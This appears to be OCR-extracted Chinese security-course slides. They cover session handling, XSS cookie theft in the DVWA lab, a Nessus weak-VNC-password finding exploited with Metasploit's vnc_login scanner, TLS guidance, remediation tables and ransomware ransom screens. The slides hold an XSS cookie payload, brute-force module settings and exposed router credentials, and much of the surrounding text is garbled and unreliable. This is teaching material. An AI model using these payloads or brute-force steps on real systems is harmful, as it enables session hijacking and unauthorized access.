o [RIF

o ML R EETEIEG N EIEBSessionSIE - (B BAE AT OEEEHIY
EEZNESESREETHETS - R EABZEI = AE FHsession
timeoutfY 4 &l -

c EHAI
- BHBEMERMERZZNNNEES)
© ERESTE=R Timeout H
« ZHEFREHS
» BRiE TSRS K R E HA 5 IR
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Host: 192.168.1 1

Raw Params | Headers | Hex

Request Response
l Raw | Params | Headers | Hex "Raw | Headers | Hex
POST WebGet HTTP/]

User-Agent: Mozilla/S
Gecko/20100101 Firef
Accept: application/jsy
Accept-Language: zh
Accept-Encoding: gziJ
Referer: hitp: /192 .16
X-Requested-With: XN
Connection: close
Cookie: SESSION=682
- max-al
Content-Length: 0

POST WebGet HTTP/M 1

Host: 192.168.1 1

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; rv.63.0) Gecko/20100101
Firefox/63.0

Accept: applicationfson, textjavascript, */*, g=0.01
Accept-Language: zh-TW zh;q=0.8 en-US;q=0.5 en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://192.168.1.1Ar069 htm

X-Requested-With: XMLHttpRequest

DNT: 1

Connection: close

Cache-Control max-age=0

Content-Length: 0

| »

" Raw l Headers [ Hex

HTTPA .1 200 OK

Server: Boa/0.94 14rc21

Connection: close

Content-Type: applicationfjson; charset=utf-8

{"cwmp_enabled" 1, "cwmp_acs_url"; "http:/192.168.40.197",
"cwmp_acs_username”. "admin”, "cwmp_acs_password":
"admin123", "cwmp_inform_enable™;: 1, "cwmp_inform_interval™;
10, "cewmp_conreq_username”; "humax”,
"cwmp_conreq_password". "quantum”, "cwmp_conreg_path":
"tr069234", "cwmp_conreq_port": 9090, "fwVersion" "1.0.30"}
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C @ 192.168.40.12/cgi-bin/main.cgi?cgi

ECRERR

EZEHEE BIN B
#: http://192.168.40.12

Firefox BZ M BB ILEE ?

@ BEAR Q: | E£FF (ER)
OBZFE=EO
OHtREREaRALEEAR - A
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3. Bl ASession
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Session Prediction

3. fcIB sessionidfR Al » ETELE& ) Esessionid i"jifs

FEREA HEEe S ssion 1D M
(N INEBFERE B/ BRT5R)

pafnSession IDEE
e 2/ DI S Ry 128 bits

0 Eaka)

YEE sessionid

HTTPS Setrver
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HTTPS Server

* Session Logout & Timeout

[ A RARAZ S ws - &1 /& SessionFL A REEFH??
[EFEREE S L & & SessionF A HEE R ??
HERERIEAE S > & ESessionFLAFEEA??
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Cross-Site Scripting

* (Cross-Site Scripting) 5l Ml A 5 £

* JRHE

S %2HHEF%$£TE?2LE§E’J%ME§’
EEOEREHREZENCookieE - EMBESITHAS
ZEI ERERIL A TERRANIZTN(Script)

i
° Rl ABRE
© BREEEARNER
© RERRNEBETHE L
- EHAERERRZERABRER

AERE  &F

BERFRNEBZBEKZALEERHNT - E/5K

=11 152
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Cross-Site Scripting

* % 3B Cross-Site Scripting V1S 49115 AYsession

Vulnerability: Reflected Cross Site Scripting (XSS)

Home

Instructions

Setup What's your name?

File Inclusion

5QL Injection
5QL Injection (Blind)

|
|
|
| Submit
Brute Force |
. Command Execution | More info
CSRF |
|
|
|
|

Upload

I |

DVWA Security |
PHP Info |
About |
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Cross-Site Scripting

* 3B Cross-Site Scripting V1S 49115 AYsession

o IWEEEE)X : <script>alert(document.cookie)</script>

€  ® 192.168.13.136/dvwa/vulnerabilities/xss_r/?name= <script > alert(document.cookie) < %2Fscript>#

il

x Qg

!

security=low; PHPSESSID=d9cbf67543d80dc2efdf9091c53a5837




Cross-Site Scripting

o BEUAILAYsession (d9cbf67543d80dc2efdf9b91c5325837)

€ (& 192.168.13.136/dvwa/login.php

¢ CH#EzE HxEe D BRES

2 Cookie -+

-
g8 tmETEE PHPSESSID
S Indexed DB security
2 FHEE=E

g HERaETTH

{} etgeEx © wat {kxEB

DWA)

Username
Password

Login

19216813136 / EEx
19216813136 /dvwa/ =S

ERTFER
Thu, 11 Nov 2021 08:07:43 GMT
Thu, 11 Nov 2021 08:07:43 GMT

wBe $§ & O

I b9be52ffb61f52bad31e7f57dd... Ifalse
Thigh (ks

HttpOnly
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Cross-Site Scripting

o FBi@BEMsession AT - EAFEREZBIE T N EALIL

EX - o
Damn Vulnerable Web App (T Damn Vulnerable Web A X 4= I
€ © & 192.168.13.136/dvwa/lq € | (B 192.168.13.136/dvwa/ E1 ¢ wBa 4+ & | =
~
.A
| Welcome to Damn Vulnerable Web App!
Instructions | Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals
are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
Setup | better understand the processes of securing web applications and aid teachers/students to teach/learn web
application security in a class room environment.
Brute Force | WARNING!
SEGCRETE EEELGT | Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
CSRF | any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing.
File Inclusion | Disclai
SAL Injection | e
s : We do not take responsibility for the way in which any one uses this application. We have made the purposes of
SQL Injection (Blind) | the application clear and it should not be used maliciously. We have given warnings and taken measures to
Upload | prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of
DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
XSS reflected | G . )
- o | eneral Instructions v
G OklE Hxzfe DHME Osis Dze DBss ((s=6582 Cus Ooes = @6 Pk o BHEES®OE X
£ Cookie 1+ 8 cookie + - )
@ http:fﬂ 9216813136 9 http:ff‘l 92168.13.136 2 == =iE
8 RmEEEd Pir 8 RERTZEE PHPSESSID 19216813136 / Thu, 11 Now202108:3.  1c7430f03460... fal e PHPSESSID: "1c7430f024607c...2acadcd4cd9ded"
S Indexed DB sef} 5 Indexed DB security 192.168.13.136 | fdvwa/ HEEE Thig CrestionTime: Tho, 11 Mlow 2021 052655 GLT
D in:"192.168.13.136
S sEETTH S suEgEsH E:pr:::,l.j-g,g 3.136 E
S TET——— 2 HERaEETHE HostOnly: true T |
HttpOnly: false
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ML EHE - 597058

[

A

VA
g

VNC Server "password"' Password

Synopsis

AVNC server running on the remote host is secured with a weak password.

Description

unauthenticated attacker could exploit this to take control of the system.

Solution

Secure the VNC service with a strong password.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#FAVIN/ACL/AUN/C:C/C/AC)

Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

Plugin Output
tcp/5900/vnc

Nessus logged in using & password of "password".

61708 - VNC Server 'password' Password -

The ¥NC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of "password’. A remote,

116

gy Ty

e e




AT EHE - 5974

A 27
5 55

* VNC Server 'password' Password

set STOP_ON_SUCCE
«ploit

.168.50.116:5900 - Startin
cti DB Cr i
.168.50.116:5900
.50.116:5900 Scanned 1 of 1 hosts (100
module execution complatﬂdl

data

Actions Edit View Help

LGLINE

c/vnc_login

/scanner/vnc/v

N

BLANK_PA!
BRUTEFORCE_SPEED

DB_ALL_USERS
list

VNC login s

will not
ful:
) 5900
STOP_ON_SUCCESS false
host
THREADS
r host)
USERNAME
_FILE
one pair per line

LANK>

VERBOSE

in
show options

Ch

normal No

/wordlists/v

Shell No. 1

Description

VNC Authentication S

passwords.

ption
b k passwords for all users
i from @ to 5
e, user/password couple stored in the
all passwords in the current datab
all users in the c
password to test
ning passwords, one per line
The target host(s), r e CIDR identifier, o

(TCP)
hen a credential works for a

containing users

Try the username as the password for all use

Fil ning usernames

Whether to print output for
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MR Z R E - 5970 ERRE

* VNC Server 'password’ Password

* vncviewer IP

TightVNC: root's X desktop (metasploitable:0)

P root@metasploitable: /
root@netasploitables/# ||
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© ZERISLIREZAIEHS
c ZMEEENREMRATZH  UEREERERENIRREE  EEFEISSLIERE
we SN S =R B Kiis SAERS L -
© HBESFRER
°© FEEIAYES TR AT M E BN R B RV E AR R UN S A M 8 8 R P BN RA B P BB RV E S -

- Bl BHEZEZMHESSLV B/ AL ZHE, B BMEZEC P REE T EE,
Z oA B AZ 2 HmERNRESEEIE B PROEEEN (JRiE4R%: CVE-2014-3566
SSLv3 Poodle)

© IRFFMSFAMIEE

c WEERESHERAREE LEFZRBRIMRESSME - BRBLEMTS - WEBER
A RZEZATHNCFAIBRANTOER - S0l 23EE CRNEMARER A

=0
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© BREARNZEMISH i
© WEEHOS—HEAEHATERLEAES (MBFIEBSH ) WHE *

REERATEIS EARBEALERRNAR  EEREZEZRF - &
MEBARN LIFIL A EMERAEEREIR - IR TR ERE SIS ANES

. * [HA#EIRFS ( DoS ) I EE

o —(ET—BMRNEBEEAEEASCEENS O BELSE (IIEEMRE - 1K
AsRsl TIEN ) R B—EASNARIARENER - SEERESNER
ZEEAGIGSEEE -

120




NESSUST%

kR TIESI[ =S EEE o

EE 3| [ 59 30
o 1l

0
o

BHEL R

&4 H X

Unsupported Windows 0S

Microsoft SQL Server Unsupported Version Detection

TIHRET TR IR A

Microsoft IIS 6.0 Unsupported Version Detection

rexecd Service Detection

3x #E42 /etc/inetd.conf F #y'exec'sT » Kt &
L Epinetd it £2

Telnetd - Remote Code Execution (CVE-2020-10188)

ARIE & B R e 27 0 FHéktelnet

BEREARIAENRAEERANEHRVE S EHEISERMANT

121




NESSUSHFE B & Al 2l pJ 55 24

o S EPmgEh
o l: |

[ LA %4 F A
VNC Server Unauthenticated Access BHEG B SREA
:x f242 letcl/inetd.conf ¥ &4'login'sT » 2K1% E 37
rlogin Service Detection Brgpinetdie 2 - s 0 2 A LRI A
SSH

HA ok 2 ASNMPRRZS & B 2K 32
HEFEHS -
SSL Version 2 and 3 Protocol Detection A ESSL2.0403.0 - 5 ATLS 1.24 &
#* & ' -HKLM\ SYSTEM \

CurrentControlSet \ Control \ LSA\

Microsoft Windows SMB NULL Session Authentication RestrictAnonymous = 1 -HKLM \ SYSTEM \

CurrentControlSet \ Services \ lanmanserver
\ parameters \ restrictnullsessaccess = 1

SNMP Agent Default Community Name (public)
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© EFMEWNEIEINIRTT - BT - FRIBRANEREGEE
=2 ey

o BEEBFEHIU0 : Windows * adobe - apache * phpE S E B e R7S B BIETIER - L |
8= B xR K B

(tnfl

M

Q Home Windows Update APACHE n'..

" HTTP SERVER PROJECT

P
| Find a setting [ You're up to date
: ) @ Last checked: Today, 1043 AM Stay up to date f’w"“CH The Number Ong HTTP Server On The Intemet
Update & Security We'r ‘4
Check for updates with excit

Essontials eficint and exiensiie server Ihal provies HTTP senices in

« Windows Update

Feature Update to Windows 10, version 1903
Windows Security See what's new in

The next version of Windows is available with new features and security improvements,

When you re ready for the update, select “Download and install now.

T Backup
: v e requred 1 01 09 2 LS .3 welsenver it CpenSSL 1 11
& Troubleshoot Looking for info on the latest el
Change active hour updates? Apache hitpd 2.2 End-aFLife 28401
D Recovery Learn more 45 previusky avnounces, he Apache HTTP Server Proecthas dcontinged gl and petch review of e 2.2. seres of eeases

i Apache HTTP Setves Froject kad ong commited 1o piovid manlenance rebases of e 2.2 ave tocugh June of 2017, The il rekease 2 34 was published in July 2017, and o e exahsaton of bug repors o secury isks wil be consitered of publiched for

© Activation e Zonrees
Relted ks
A Find my device Check Storage t i Deser iz our mirtors. We hope fhaf by making ¢ easie i use our mirors, e il be abie n provide 2 beter downicad experience.
2 ENsure i W G2 of MD5 signanures.
B Feonopis e

Anesomel Have 2 ook ol ourcuren! el Warled sings en

& Windows Insider Program

Have a question?

Tite nguipss oitcaly reated
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* SSLZEMR1E

© 2021F 11K - SEIEZEEFEEXRBRTLSLO0 - LISEMRTLSARE @ KRAE
SRRV K SRS AR -

° 2018FTLS 1.312 L - T EE BB AMEX - Google ~ 2R * Mozillat2
. 2018 FEE MR IFTIETLS 1.041.1 * Google Zf 7 = m AR 75 th £ L FE FERN A
LS Ee

* NSARZZFIESEFEATLS1.28TLS 1.3 - AEfEHASSL2.0 ~ SSL 3.0 *~ TLS 1.04
TLS 1.1 - BIfEEE0E 7 TLS1.2K1.3 - NSAtT ZZE BRI LIRS E RN
REM . FRIBETLS 1.299RNULL * RC2 * RC4 - DES - IDEAEATDES/3DES
HFEaE LA NSAERZZAEBRRAGEREEEEZNNEBEN -
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° SEARRYERBSRR IE Bl PR AR 1B A PR AR IR % 11 OJ RE B 12 45 Al im0

° FRERENESRR ERY—BIYN: AENL KR B BR VR S aRAT 2 DOBE, I —i5 sRAR E OJ B

MIELNFHES?
o FERIRE & B R EIRIE Sadmin/root &5 45 45123456, password,qwerty 535 2 Z 2
PSEEENBBETRE(BEIRFTTR)

carm

\

/

i

|

I
\
/

JE i £2 5, "DEFAULT WEB SITE/TAILSPINTOYS" th#5 {al B 224t 4

Internet Information Services 7.5

HTTP #i2 404.3 - Not Found
P 2, R R RS 5 P A P R B P A M e (MIMIE) SN » i i 40 LR R R AP « IR Lt &

25 DV R ELA A R TR - DN MIME S -

i )
M staticFileModule
i ExecuteRequestHandler W i Clinetpublwuwroat\ TailspinToys\default. aspse
HAES staticFile s =
IS oxbo0T00N2 HALERE WS
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B - ERERBEARESINEEE - Bt A — LA UEREIRFS
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& =woamze
Windows Update
Windows Defender
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FERBEEAR
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MEESEEM -
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IETESERENHED?
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AREHEZESR

infected

Qlll

o docurmer

xases ard other impe

encrypted General-Decryptor

General-Decryptor price

the price is for all PCs of your infected network

Time is over Current price

* ou didn't pay on

time, the price was doubled

t files by our spedal softaane - But riemember that

(@

To decrypt your files you need to Follow the instructions below.

o g rot

have much timse

94084.32 XMR
= 24,000,000 USC

Ooops, your files have been encrypted!

What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service,
Payment will be raised on B .0 1 Recover My Files?
5/16/2017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left You can decrypt some of your files for free. Try now by clicking <Decrypt>.

i But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don’t pay in 7 days, you won't be able to recover your files forever.
We will have free events for users who are so poor that they couldn't pay in 6 months,

Your files will be lost on

How Do I Pay?

57202017 00:47:55 Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>,

1 [T And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

SRS e P A

Time Left

Send $300 worth of bitcoin to this address:

12t3YDPgwueZ9NyMgw519p7AABisjr6 SNIw
e | Checkpayment |
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